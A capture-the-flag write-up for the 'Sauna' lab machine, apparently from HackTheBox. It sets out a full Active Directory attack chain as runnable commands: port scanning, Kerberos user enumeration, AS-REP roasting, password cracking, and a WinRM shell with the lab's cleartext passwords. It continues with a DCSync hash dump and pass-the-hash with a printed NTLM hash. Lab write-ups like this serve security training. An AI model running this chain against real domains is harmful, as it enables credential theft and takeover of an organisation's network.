Sauna

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.175 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p53,80,88,135,139,445,464,593,636,3268,3269,5985,9389,49668,49673,49674,49677,49689,49698 10.10.10.175 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Let's start by enumerating the SMB service. As we can see the domain is EGOTISTICAL-BANK.LOCAL.

crackmapexec winrm 10.10.10.175

Let's add the found domain together with the SAUNA.EGOTISTICAL-BANK.LOCAL subdomain to the /etc/hosts file.

nano /etc/hosts

As port 88 (Kerberos) is open, we could enumerate possible domain users with the kerbrute tool.

kerbrute_linux_amd64 userenum --dc 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL /opt/SecLists/Usernames/xato-net-10-million-usernames.txt

Exploitation

Now that we know some valid users, put them into the users file, and let's try to perform an ASREPRoast attack.

ASREPRoast attack: when a user does not need pre-authentication, it is possible to obtain a TGT, without knowing the user's credentials, which contains data encrypted with the user's hash, which can be used for offline cracking.

impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users

  • -no-pass don't ask for password.

  • -usersfile file which contains user per line.

We get the hash of the fsmith user. Let's break it with john.

john -w=/usr/share/wordlists/rockyou.txt hash

Now we have valid credentials for the fsmith user.

crackmapexec winrm 10.10.10.175 -u "fsmith" -p "Thestrokes23"

As seen above, the fsmith user seems to be a member of the Remote Management Users group, because it is possible to get a shell as him via WinRM. Then, we'll be able to grab the user flag.

evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'

Privilege Escalation

If you try to enumerate the system manually, you will not find much. Let's run WinPEAS and see what it tells us.

WinPEAS is a script that searches for possible paths to escalate privileges on Windows hosts. You can download it from the official Github page:

https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

Upload the binary to the system, and execute it.

upload /home/alfa8sa/tools/privEsc/winPEASany.exe

.\winPEASany.exe

It found credentials for the svc_loanmanager user. That user does not exist, but there is a username with a similar username called svc_loanmgr.

net user

Let's verify that the credentials are valid.

crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'

Now we need to find a way to escalate privileges to NT AUTHORITY\SYSTEM. As we are facing a domain controller, it would be helpful to run BloodHound with the bloodhound-python tool.

bloodhound-python -c All -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' -ns 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL

Now, we have to start BloodHound. First, we have to start neo4j.

neo4j console

Then we will search for the localhost on port 4747 and log in with the username neo4j and password neo4j. You’ll have to change the password.

On a new console, run BloodHound.

bloodhound -nosandbox

Then log in with the credentials you set up earlier.

Then, click on the Upload Data button on the right section and select all the .json files.

Once all the .json files are uploaded go to the Analysis section. There we'll see that the user svc_loanmgr user has DCSync rights.

As we have his credentials, we can dump hashes of every local user remotely with secrets-dump.

impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.10.10.175

Now that we have the NTLM hash of the administrator, we can get a shell using Pass The Hash. Then, all we have to do is reap the harvest and take the root flag.

evil-winrm -i 10.10.10.175 -u 'administrator' -H 823452073d75b9d1cf70ebdf86c7f98e

Last updated

Was this helpful?